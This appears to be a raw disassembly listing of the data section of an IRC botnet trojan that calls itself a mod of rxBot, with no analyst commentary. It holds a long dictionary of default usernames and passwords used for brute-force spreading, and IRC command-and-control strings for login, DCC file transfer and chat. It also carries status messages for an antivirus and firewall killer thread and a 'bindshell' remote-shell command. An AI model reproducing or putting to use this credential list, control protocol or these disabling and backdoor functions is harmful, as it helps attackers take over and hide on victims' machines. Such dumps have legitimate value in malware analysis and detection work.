dd offset aIbm ; "ibm"
dd offset aCisco ; "cisco"
dd offset aDell ; "dell"
dd offset aCompaq ; "compaq"
dd offset aSiemens ; "siemens"
dd offset aHp ; "hp"
dd offset aNokia ; "nokia"
dd offset aXp_1 ; "xp"
dd offset aControl ; "control"
dd offset aOffice ; "office"
dd offset aBlank ; "blank"
dd offset aWinpass ; "winpass"
dd offset aMain ; "main"
dd offset aLan ; "lan"
dd offset aInternet_0 ; "internet"
dd offset aIntranet ; "intranet"
dd offset aStudent_0 ; "student"
dd offset aTeacher_0 ; "teacher"
dd offset aStaff_0 ; "staff"
dd 0
dword_43F494 dd 10h ; DATA XREF: sub_401CC7+AE4r
; sub_401CC7+B10r ...
a@admin db '*@admin',0 ; DATA XREF: .data:off_43F158o
aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_43F15Co
align 10h
aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043F160o
align 10h
aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043F164o
align 10h
aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043F168o
align 10h
aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:0043F214o
align 10h
aAdministrador db 'administrador',0 ; DATA XREF: .data:0043F218o
align 10h
aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0043F21Co
align 10h
aAdministrat db 'administrat',0 ; DATA XREF: .data:0043F220o
aAdmins db 'admins',0 ; DATA XREF: .data:0043F224o
align 4
aAdmin db 'admin',0 ; DATA XREF: .data:0043F228o
align 4
aStaff db 'staff',0 ; DATA XREF: .data:0043F22Co
align 4
aRoot db 'root',0 ; DATA XREF: .data:0043F230o
align 4
aComputer db 'computer',0 ; DATA XREF: .data:0043F234o
align 4
aOwner db 'owner',0 ; DATA XREF: .data:0043F238o
align 10h
aStudent db 'student',0 ; DATA XREF: .data:0043F23Co
aTeacher db 'teacher',0 ; DATA XREF: .data:0043F240o
aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0043F244o
align 4
aGuest_0 db 'guest',0 ; DATA XREF: .data:0043F248o
align 4
aDefault db 'default',0 ; DATA XREF: .data:0043F24Co
aDatabase db 'database',0 ; DATA XREF: .data:0043F250o
align 4
aDba db 'dba',0 ; DATA XREF: .data:0043F254o
aOracle db 'oracle',0 ; DATA XREF: .data:0043F258o
align 4
aDb2 db 'db2',0 ; DATA XREF: .data:0043F25Co
aAdministrato_1 db 'administrator',0 ; DATA XREF: .data:0043F268o
align 4
aAdministrado_0 db 'administrador',0 ; DATA XREF: .data:0043F26Co
align 4
aAdministrate_0 db 'administrateur',0 ; DATA XREF: .data:0043F270o
align 4
aAdministrat_0 db 'administrat',0 ; DATA XREF: .data:0043F274o
aAdmins_0 db 'admins',0 ; DATA XREF: .data:0043F278o
align 4
aAdmin_0 db 'admin',0 ; DATA XREF: .data:0043F27Co
align 4
aAdm db 'adm',0 ; DATA XREF: .data:0043F280o
aPassword1 db 'password1',0 ; DATA XREF: .data:0043F284o
align 4
aPassword db 'password',0 ; DATA XREF: .data:0043F288o
align 10h
aPasswd db 'passwd',0 ; DATA XREF: .data:0043F28Co
align 4
aPass1234 db 'pass1234',0 ; DATA XREF: .data:0043F290o
align 4
aPass_1 db 'pass',0 ; DATA XREF: .data:0043F294o
align 4
aPwd db 'pwd',0 ; DATA XREF: .data:0043F298o
a007 db '007',0 ; DATA XREF: .data:0043F29Co
a1_0: ; DATA XREF: .data:0043F2A0o
unicode 0, <1>,0
a12 db '12',0 ; DATA XREF: .data:0043F2A4o
align 4
a123 db '123',0 ; DATA XREF: .data:0043F2A8o
a1234 db '1234',0 ; DATA XREF: .data:0043F2ACo
align 4
a12345 db '12345',0 ; DATA XREF: .data:0043F2B0o
align 10h
a123456 db '123456',0 ; DATA XREF: .data:0043F2B4o
align 4
a1234567 db '1234567',0 ; DATA XREF: .data:0043F2B8o
a12345678 db '12345678',0 ; DATA XREF: .data:0043F2BCo
align 4
a123456789 db '123456789',0 ; DATA XREF: .data:0043F2C0o
align 4
a1234567890 db '1234567890',0 ; DATA XREF: .data:0043F2C4o
align 4
a2000 db '2000',0 ; DATA XREF: .data:0043F2C8o
align 4
a2001 db '2001',0 ; DATA XREF: .data:0043F2CCo
align 4
a2002 db '2002',0 ; DATA XREF: .data:0043F2D0o
align 4
a2003_0 db '2003',0 ; DATA XREF: .data:0043F2D4o
align 4
a2004 db '2004',0 ; DATA XREF: .data:0043F2D8o
align 4
aTest db 'test',0 ; DATA XREF: .data:0043F2DCo
align 4
aGuest_1 db 'guest',0 ; DATA XREF: .data:0043F2E0o
align 4
aNone db 'none',0 ; DATA XREF: .data:0043F2E4o
align 4
aDemo db 'demo',0 ; DATA XREF: .data:0043F2E8o
align 4
aUnix db 'unix',0 ; DATA XREF: .data:0043F2ECo
align 4
aLinux db 'linux',0 ; DATA XREF: .data:0043F2F0o
align 4
aChangeme db 'changeme',0 ; DATA XREF: .data:0043F2F4o
align 4
aDefault_0 db 'default',0 ; DATA XREF: .data:0043F2F8o
aSystem db 'system',0 ; DATA XREF: .data:0043F2FCo
align 4
aServer_6 db 'server',0 ; DATA XREF: .data:0043F300o
align 10h
aRoot_0 db 'root',0 ; DATA XREF: .data:0043F304o
align 4
aNull_1 db 'null',0 ; DATA XREF: .data:0043F308o
align 10h
aQwerty db 'qwerty',0 ; DATA XREF: .data:0043F30Co
align 4
aMail db 'mail',0 ; DATA XREF: .data:0043F310o
align 10h
aOutlook db 'outlook',0 ; DATA XREF: .data:0043F314o
aWeb db 'web',0 ; DATA XREF: .data:0043F318o
aWww db 'www',0 ; DATA XREF: .data:0043F31Co
aInternet db 'internet',0 ; DATA XREF: .data:0043F320o
align 4
aAccounts db 'accounts',0 ; DATA XREF: .data:0043F324o
align 4
aAccounting db 'accounting',0 ; DATA XREF: .data:0043F328o
align 4
aHome db 'home',0 ; DATA XREF: .data:0043F32Co
align 4
aHomeuser db 'homeuser',0 ; DATA XREF: .data:0043F330o
align 4
aUser_4 db 'user',0 ; DATA XREF: .data:0043F334o
align 10h
aOem db 'oem',0 ; DATA XREF: .data:0043F338o
aOemuser db 'oemuser',0 ; DATA XREF: .data:0043F33Co
aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0043F340o
align 4
aWindows db 'windows',0 ; DATA XREF: .data:0043F344o
aWin98 db 'win98',0 ; DATA XREF: .data:0043F348o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .data:0043F34Co
align 10h
aWinxp db 'winxp',0 ; DATA XREF: .data:0043F350o
align 4
aWinnt db 'winnt',0 ; DATA XREF: .data:0043F354o
align 10h
aWin2000 db 'win2000',0 ; DATA XREF: .data:0043F358o
aQaz db 'qaz',0 ; DATA XREF: .data:0043F35Co
aAsd db 'asd',0 ; DATA XREF: .data:0043F360o
aZxc db 'zxc',0 ; DATA XREF: .data:0043F364o
aQwe db 'qwe',0 ; DATA XREF: .data:0043F368o
aBob db 'bob',0 ; DATA XREF: .data:0043F36Co
aJen db 'jen',0 ; DATA XREF: .data:0043F370o
aJoe db 'joe',0 ; DATA XREF: .data:0043F374o
aFred db 'fred',0 ; DATA XREF: .data:0043F378o
align 4
aBill db 'bill',0 ; DATA XREF: .data:0043F37Co
align 4
aMike db 'mike',0 ; DATA XREF: .data:0043F380o
align 4
aJohn db 'john',0 ; DATA XREF: .data:0043F384o
align 4
aPeter db 'peter',0 ; DATA XREF: .data:0043F388o
align 4
aLuke db 'luke',0 ; DATA XREF: .data:0043F38Co
align 4
aSam db 'sam',0 ; DATA XREF: .data:0043F390o
aSue db 'sue',0 ; DATA XREF: .data:0043F394o
aSusan db 'susan',0 ; DATA XREF: .data:0043F398o
align 4
aPeter_0 db 'peter',0 ; DATA XREF: .data:0043F39Co
align 4
aBrian db 'brian',0 ; DATA XREF: .data:0043F3A0o
align 4
aLee db 'lee',0 ; DATA XREF: .data:0043F3A4o
aNeil db 'neil',0 ; DATA XREF: .data:0043F3A8o
align 10h
aIan db 'ian',0 ; DATA XREF: .data:0043F3ACo
aChris db 'chris',0 ; DATA XREF: .data:0043F3B0o
align 4
aEric db 'eric',0 ; DATA XREF: .data:0043F3B4o
align 4
aGeorge db 'george',0 ; DATA XREF: .data:0043F3B8o
align 4
aKate db 'kate',0 ; DATA XREF: .data:0043F3BCo
align 4
aBob_0 db 'bob',0 ; DATA XREF: .data:0043F3C0o
aKatie db 'katie',0 ; DATA XREF: .data:0043F3C4o
align 10h
aMary db 'mary',0 ; DATA XREF: .data:0043F3C8o
align 4
aLogin_2 db 'login',0 ; DATA XREF: .data:0043F3CCo
align 10h
aLoginpass db 'loginpass',0 ; DATA XREF: .data:0043F3D0o
align 4
aTechnical db 'technical',0 ; DATA XREF: .data:0043F3D4o
align 4
aBackup db 'backup',0 ; DATA XREF: .data:0043F3D8o
align 10h
aExchange db 'exchange',0 ; DATA XREF: .data:0043F3DCo
align 4
aFuck db 'fuck',0 ; DATA XREF: .data:0043F3E0o
align 4
aBitch db 'bitch',0 ; DATA XREF: .data:0043F3E4o
align 4
aSlut db 'slut',0 ; DATA XREF: .data:0043F3E8o
align 4
aSex db 'sex',0 ; DATA XREF: .data:0043F3ECo
aGod db 'god',0 ; DATA XREF: .data:0043F3F0o
aHell db 'hell',0 ; DATA XREF: .data:0043F3F4o
align 4
aHello db 'hello',0 ; DATA XREF: .data:0043F3F8o
align 4
aDomain db 'domain',0 ; DATA XREF: .data:0043F3FCo
align 4
aDomainpass db 'domainpass',0 ; DATA XREF: .data:0043F400o
align 10h
aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0043F404o
align 10h
aDatabase_0 db 'database',0 ; DATA XREF: .data:0043F408o
align 4
aAccess db 'access',0 ; DATA XREF: .data:0043F40Co
align 4
aDbpass db 'dbpass',0 ; DATA XREF: .data:0043F410o
align 4
aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0043F414o
align 4
aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0043F418o
align 4
aData db 'data',0 ; DATA XREF: .data:0043F41Co
align 10h
aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0043F420o
align 4
aDb1 db 'db1',0 ; DATA XREF: .data:0043F424o
aDb2_0 db 'db2',0 ; DATA XREF: .data:0043F428o
aDb1234 db 'db1234',0 ; DATA XREF: .data:0043F42Co
align 4
aSa_0 db 'sa',0 ; DATA XREF: .data:0043F430o
align 4
aSql db 'sql',0 ; DATA XREF: .data:0043F434o
aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0043F438o
align 10h
aOrainstall db 'orainstall',0 ; DATA XREF: .data:0043F43Co
align 4
aOracle_0 db 'oracle',0 ; DATA XREF: .data:0043F440o
align 4
aIbm db 'ibm',0 ; DATA XREF: .data:0043F444o
aCisco db 'cisco',0 ; DATA XREF: .data:0043F448o
align 10h
aDell db 'dell',0 ; DATA XREF: .data:0043F44Co
align 4
aCompaq db 'compaq',0 ; DATA XREF: .data:0043F450o
align 10h
aSiemens db 'siemens',0 ; DATA XREF: .data:0043F454o
aHp db 'hp',0 ; DATA XREF: .data:0043F458o
align 4
aNokia db 'nokia',0 ; DATA XREF: .data:0043F45Co
align 4
aXp_1 db 'xp',0 ; DATA XREF: .data:0043F460o
align 4
aControl db 'control',0 ; DATA XREF: .data:0043F464o
aOffice db 'office',0 ; DATA XREF: .data:0043F468o
align 4
aBlank db 'blank',0 ; DATA XREF: .data:0043F46Co
align 10h
aWinpass db 'winpass',0 ; DATA XREF: .data:0043F470o
aMain db 'main',0 ; DATA XREF: .data:0043F474o
align 10h
aLan db 'lan',0 ; DATA XREF: .data:0043F478o
aInternet_0 db 'internet',0 ; DATA XREF: .data:0043F47Co
align 10h
aIntranet db 'intranet',0 ; DATA XREF: .data:0043F480o
align 4
aStudent_0 db 'student',0 ; DATA XREF: .data:0043F484o
aTeacher_0 db 'teacher',0 ; DATA XREF: .data:0043F488o
aStaff_0 db 'staff',0 ; DATA XREF: .data:0043F48Co
align 4
; char aSS[]
aSS db '%s%s',0 ; DATA XREF: WinMain(x,x,x,x)+10Do
align 4
; char Format[]
Format db '%s\%s',0 ; DATA XREF: WinMain(x,x,x,x)+189o
align 4
; char aSDS[]
aSDS db '%s %d "%s"',0 ; DATA XREF: WinMain(x,x,x,x)+28Fo
align 10h
; char asc_43FA60[]
asc_43FA60 db '-' ; DATA XREF: WinMain(x,x,x,x)+364o
db 3, 34h, 2
dd 6E69616Dh, 202D0203h, 20746F42h, 72617473h, 2E646574h
dd 0
; char asc_43FA7C[]
asc_43FA7C db '-' ; DATA XREF: WinMain(x,x,x,x)+3A2o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aAvFwKillerActi db ' AV/FW Killer active.',0
align 10h
; char asc_43FAA0[]
asc_43FAA0 db '-' ; DATA XREF: WinMain(x,x,x,x)+3F3o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 3, 2, 2Dh
aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0
align 10h
; char asc_43FAE0[]
asc_43FAE0 db '-' ; DATA XREF: WinMain(x,x,x,x)+420o
db 3, 34h, 2
dd 6E656469h, 2036474h
aServerRunningO db '- Server running on Port: 113.',0
align 4
; char asc_43FB0C[]
asc_43FB0C db '-' ; DATA XREF: WinMain(x,x,x,x)+46Bo
db 3, 34h, 2
dd 6E656469h, 2036474h
aFailedToStartS db '- Failed to start server, error: <%d>.',0
align 10h
; char asc_43FB40[]
asc_43FB40 db '-' ; DATA XREF: sub_4019E7+F2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aConnectedToS_ db 'Connected to %s.',0
align 10h
; char aPassS[]
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401B4F+35o
align 4
; char aNickSUserS00S[]
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401B4F+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 4
; char SubStr[]
SubStr db ' :',0 ; DATA XREF: sub_401CC7+86o
align 4
; char Delim[]
Delim: ; DATA XREF: sub_401CC7+AEo
unicode 0, < >,0
; char asc_43FB90[]
asc_43FB90: ; DATA XREF: sub_401CC7:loc_401D92o
unicode 0, < >,0
; char asc_43FB94[]
asc_43FB94: ; DATA XREF: sub_401CC7+191o
unicode 0, <!>,0
; char aPing[]
aPing db 'PING',0 ; DATA XREF: sub_401CC7+1A0o
align 10h
; char aPongS[]
aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1BAo
align 4
; char aJoinSS[]
aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+1DBo
align 4
; char a001[]
a001 db '001',0 ; DATA XREF: sub_401CC7+1F7o
; char a005[]
a005 db '005',0 ; DATA XREF: sub_401CC7+20Co
; char aUserhostS[]
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7FDEo
align 4
; char aModeSS_0[]
aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7FF6o
align 4
; char aJoinSS_4[]
aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+800Co
align 4
; char a302_0[]
a302_0 db '302',0 ; DATA XREF: sub_401CC7+221o
; char a[]
a@: ; DATA XREF: sub_401CC7+231o
unicode 0, <@>,0
; char a433_0[]
a433_0 db '433',0 ; DATA XREF: sub_401CC7+259o
; char aNickS[]
aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+284o
align 4
; char aKick[]
aKick db 'KICK',0 ; DATA XREF: sub_401CC7+2DBo
align 4
; char asc_43FC14[]
asc_43FC14 db '-' ; DATA XREF: sub_401CC7+34Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedOut db 'User %s logged out.',0
; char aNoticeSS[]
aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+368o
; char aJoinSS_0[]
aJoinSS_0 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+3AEo
align 4
; char aNick[]
aNick db 'NICK',0 ; DATA XREF: sub_401CC7+3C7o
align 4
; char aSS_1[]
aSS_1 db ':%s%s',0 ; DATA XREF: sub_401CC7+4F5o
align 4
; char aPart[]
aPart db 'PART',0 ; DATA XREF: sub_401CC7+51Do
align 4
; char aQuit[]
aQuit db 'QUIT',0 ; DATA XREF: sub_401CC7+52Eo
align 4
; char asc_43FC74[]
asc_43FC74 db '-' ; DATA XREF: sub_401CC7+5C4o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_0 db 'User: %s logged out.',0
align 4
; char aPart_0[]
aPart_0 db 'PART',0 ; DATA XREF: sub_401CC7+5E1o
align 10h
aNoticeSS_0 db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+605o
; char a353[]
a353 db '353',0 ; DATA XREF: sub_401CC7+56Co
; char asc_43FCB4[]
asc_43FCB4 db '-' ; DATA XREF: sub_401CC7+59Do
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aJoinedChannelS db 'Joined channel: %s.',0
; char aPrivmsg[]
aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401CC7+610o
; char aNotice[]
aNotice db 'NOTICE',0 ; DATA XREF: sub_401CC7+621o
align 4
; char a332[]
a332 db '332',0 ; DATA XREF: sub_401CC7+632o
; char aPrivmsg_0[]
aPrivmsg_0 db 'PRIVMSG',0 ; DATA XREF: sub_401CC7+653o
; char aNotice_0[]
aNotice_0 db 'NOTICE',0 ; DATA XREF: sub_401CC7+668o
align 4
; char aNotice_1[]
aNotice_1 db 'NOTICE',0 ; DATA XREF: sub_401CC7+7E3o
align 10h
; char asc_43FD00[]
asc_43FD00: ; DATA XREF: sub_401CC7+808o
unicode 0, <#>,0
; char dword_43FD04
dword_43FD04 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401CC7+890o
dword_43FD10 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
; DATA XREF: sub_401CC7+8BBo
dd 0D017325h, 0Ah
; char dword_43FD2C
dword_43FD2C dd 4E495001h, 47h ; DATA XREF: sub_401CC7+8C6o
dword_43FD34 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
; DATA XREF: sub_401CC7+8F7o
dd 0A0Dh
; char dword_43FD4C
dword_43FD4C dd 43434401h, 0 ; DATA XREF: sub_401CC7+6AFo
; char aSend[]
aSend db 'SEND',0 ; DATA XREF: sub_401CC7+6CDo
align 4
; char aS[]
aS db '%s',0 ; DATA XREF: sub_401CC7+6FAo
align 10h
; char aS_0[]
aS_0 db '%s',0 ; DATA XREF: sub_401CC7+715o
align 4
; char asc_43FD64[]
asc_43FD64 db '-' ; DATA XREF: sub_401CC7+776o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
align 4
unk_43FD94 db 2Dh ; - ; DATA XREF: sub_401CC7+908o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStartT db '- Failed to start transfer thread, error: <%d>.',0
align 10h
; char asc_43FDD0[]
asc_43FDD0 db '-' ; DATA XREF: sub_401CC7+920o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
align 4
; char aChat[]
aChat db 'CHAT',0 ; DATA XREF: sub_401CC7+940o
align 4
; char aS_1[]
aS_1 db '%s',0 ; DATA XREF: sub_401CC7+97Do
align 10h
; char asc_43FE20[]
asc_43FE20 db '-' ; DATA XREF: sub_401CC7+9D7o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFromUserS_ db '- Chat from user: %s.',0
align 10h
unk_43FE40 db 2Dh ; - ; DATA XREF: sub_401CC7+A46o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aFailedToStartC db '- Failed to start chat thread, error: <%d>.',0
align 4
unk_43FE78 db 2Dh ; - ; DATA XREF: sub_401CC7+A57o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatAlreadyAct db '- Chat already active with user: %s.',0
align 4
unk_43FEA8 db 2Dh ; - ; DATA XREF: sub_401CC7+A68o
db 3, 34h, 2
db 64h ; d
db 2 dup(63h), 2
db 3
aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0
align 4
; char aLogin[]
aLogin db 'login',0 ; DATA XREF: sub_401CC7+A8Bo
align 4
; char asc_43FEE4[]
asc_43FEE4: ; DATA XREF: sub_401CC7+AA3o
unicode 0, <l>,0
; char asc_43FEE8[]
asc_43FEE8: ; DATA XREF: sub_401CC7+7E75o
unicode 0, <!>,0
; char asc_43FEEC[]
asc_43FEEC: ; DATA XREF: sub_401CC7+7E93o
unicode 0, <~>,0
; char aNoticeSPassAut[]
aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401CC7+7EC3o
align 4
; char aNoticeSYourAtt[]
aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401CC7+7EDAo
align 4
unk_43FF44 db 2Dh ; - ; DATA XREF: sub_401CC7+7EECo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0
align 10h
; char aNoticeSHostAut[]
aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
; DATA XREF: sub_401CC7+7F2Ao
align 4
; char aNoticeSYourA_0[]
aNoticeSYourA_0 db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
; DATA XREF: sub_401CC7+7F41o
align 4
unk_43FFC4 db 2Dh ; - ; DATA XREF: sub_401CC7+7F53o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedHostAuth db '*Failed host auth by: (%s!%s).',0
align 10h
unk_43FFF0 db 2Dh ; - ; DATA XREF: sub_401CC7+7FB4o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aPasswordAccept db 'Password accepted.',0
align 10h
unk_440010 db 2Dh ; - ; DATA XREF: sub_401CC7+7FD1o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedIn_ db 'User: %s logged in.',0
; char a332_3[]
a332_3 db '332',0 ; DATA XREF: sub_401CC7+AC5o
; char asc_440034[]
asc_440034 db ' :',0 ; DATA XREF: sub_401CC7:loc_4027E4o
align 4
; char aD[]
aD db '$%d-',0 ; DATA XREF: sub_401CC7+B7Bo
align 10h
; char aD_0[]
aD_0 db '$%d',0 ; DATA XREF: sub_401CC7+C3Fo
; char aMe[]
aMe db '$me',0 ; DATA XREF: sub_401CC7+CB1o
; char aUser[]
aUser db '$user',0 ; DATA XREF: sub_401CC7+CC3o
align 10h
; char aChan[]
aChan db '$chan',0 ; DATA XREF: sub_401CC7+CD4o
align 4
; char aRndnick[]
aRndnick db '$rndnick',0 ; DATA XREF: sub_401CC7+CF0o
align 4
; char aServer[]
aServer db '$server',0 ; DATA XREF: sub_401CC7+D01o
; char aChr[]
aChr db '$chr(',0 ; DATA XREF: sub_401CC7+D0Co
align 4
; char aChr_0[]
aChr_0 db '$chr(',0 ; DATA XREF: sub_401CC7+D25o
align 4
; char asc_44007C[]
asc_44007C: ; DATA XREF: sub_401CC7+D4Do
unicode 0, <)>,0
; char a63[]
a63 db '63',0 ; DATA XREF: sub_401CC7+D75o
align 4
; char asc_440084[]
asc_440084: ; DATA XREF: sub_401CC7+E4Do
unicode 0, < >,0
; char asc_440088[]
asc_440088: ; DATA XREF: sub_401CC7:loc_402B35o
unicode 0, < >,0
; char aRndnick_0[]
aRndnick_0 db 'rndnick',0 ; DATA XREF: sub_401CC7+EA8o
; char aRn[]
aRn db 'rn',0 ; DATA XREF: sub_401CC7+EC0o
align 4
; char aNickS_8[]
aNickS_8 db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401CC7+7E2Co
align 4
; char asc_4400A4[]
asc_4400A4 db '-' ; DATA XREF: sub_401CC7+7E43o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRandomNickChan db 'Random nick change: %s',0
align 4
; char aDie[]
aDie db 'die',0 ; DATA XREF: sub_401CC7+ED5o
; char aD_1[]
aD_1 db 'd',0 ; DATA XREF: sub_401CC7+EEAo
align 10h
; char a332_4[]
a332_4 db '332',0 ; DATA XREF: sub_401CC7+2F26o
; char aLogout[]
aLogout db 'logout',0 ; DATA XREF: sub_401CC7+EFFo
align 4
; char aLo[]
aLo db 'lo',0 ; DATA XREF: sub_401CC7+F14o
align 10h
; char asc_4400E0[]
asc_4400E0 db '-' ; DATA XREF: sub_401CC7+2EADo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_1 db 'User %s logged out.',0
unk_440100 db 2Dh ; - ; DATA XREF: sub_401CC7+2EC3o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
unk_44012C db 2Dh ; - ; DATA XREF: sub_401CC7+2ECBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
; char asc_440158[]
asc_440158 db '-' ; DATA XREF: sub_401CC7+2F0Ao
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aUserSLoggedO_2 db 'User %s logged out.',0
; char aVersion[]
aVersion db 'version',0 ; DATA XREF: sub_401CC7+F29o
; char aVer[]
aVer db 'ver',0 ; DATA XREF: sub_401CC7+F3Eo
dword_440184 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401CC7+2E6Eo
; char aDedication[]
aDedication db 'dedication',0 ; DATA XREF: sub_401CC7+F53o
align 10h
; char aDed[]
aDed db 'ded',0 ; DATA XREF: sub_401CC7+F68o
unk_4401A4 db 2Dh ; - ; DATA XREF: sub_401CC7:loc_404B26o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 4
; char aSpeedtest[]
aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401CC7+F7Do
align 10h
; char aSt[]
aSt db 'st',0 ; DATA XREF: sub_401CC7+F92o
align 4
; char aSecure[]
aSecure db 'secure',0 ; DATA XREF: sub_401CC7+FA7o
align 4
; char aSec[]
aSec db 'sec',0 ; DATA XREF: sub_401CC7+FBCo
; char aUnsecure[]
aUnsecure db 'unsecure',0 ; DATA XREF: sub_401CC7+FD1o
align 4
; char aUnsec[]
aUnsec db 'unsec',0 ; DATA XREF: sub_401CC7+FE6o
align 4
; char aSecure_1[]
aSecure_1 db 'secure',0 ; DATA XREF: sub_401CC7+2D49o
align 4
; char aSec_0[]
aSec_0 db 'sec',0 ; DATA XREF: sub_401CC7+2D5Ao
aSecuring db 'Securing',0 ; DATA XREF: sub_401CC7+2DB5o
align 4
aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401CC7+2DBCo
align 4
; char asc_4402A8[]
asc_4402A8 db '-' ; DATA XREF: sub_401CC7+2DC2o
db 3, 34h, 2
dd 75636573h, 3026572h, 7325202Dh, 73797320h, 2E6D6574h
dd 0
dword_4402C4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401CC7+2E3Co
aFailedToStar_0 db '- Failed to start secure thread, error: <%d>.',0
align 10h
; char aBindshell[]
aBindshell db 'bindshell',0 ; DATA XREF: sub_401CC7+FFBo
align 4
; char aBd[]
aBd db 'bd',0 ; DATA XREF: sub_401CC7+1010o
align 10h
; char asc_440310[]
asc_440310 db '-' ; DATA XREF: sub_401CC7+2CBAo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
unk_44033C db 2Dh ; - ; DATA XREF: sub_401CC7+2D3Eo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToStar_1 db ' Failed to start server thread, error: <%d>.',0
align 4
; char aBindshellstop[]
aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401CC7+1025o
align 4
aServer_0 db 'Server',0 ; DATA XREF: sub_401CC7+103Eo
align 4
dword_440394 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0
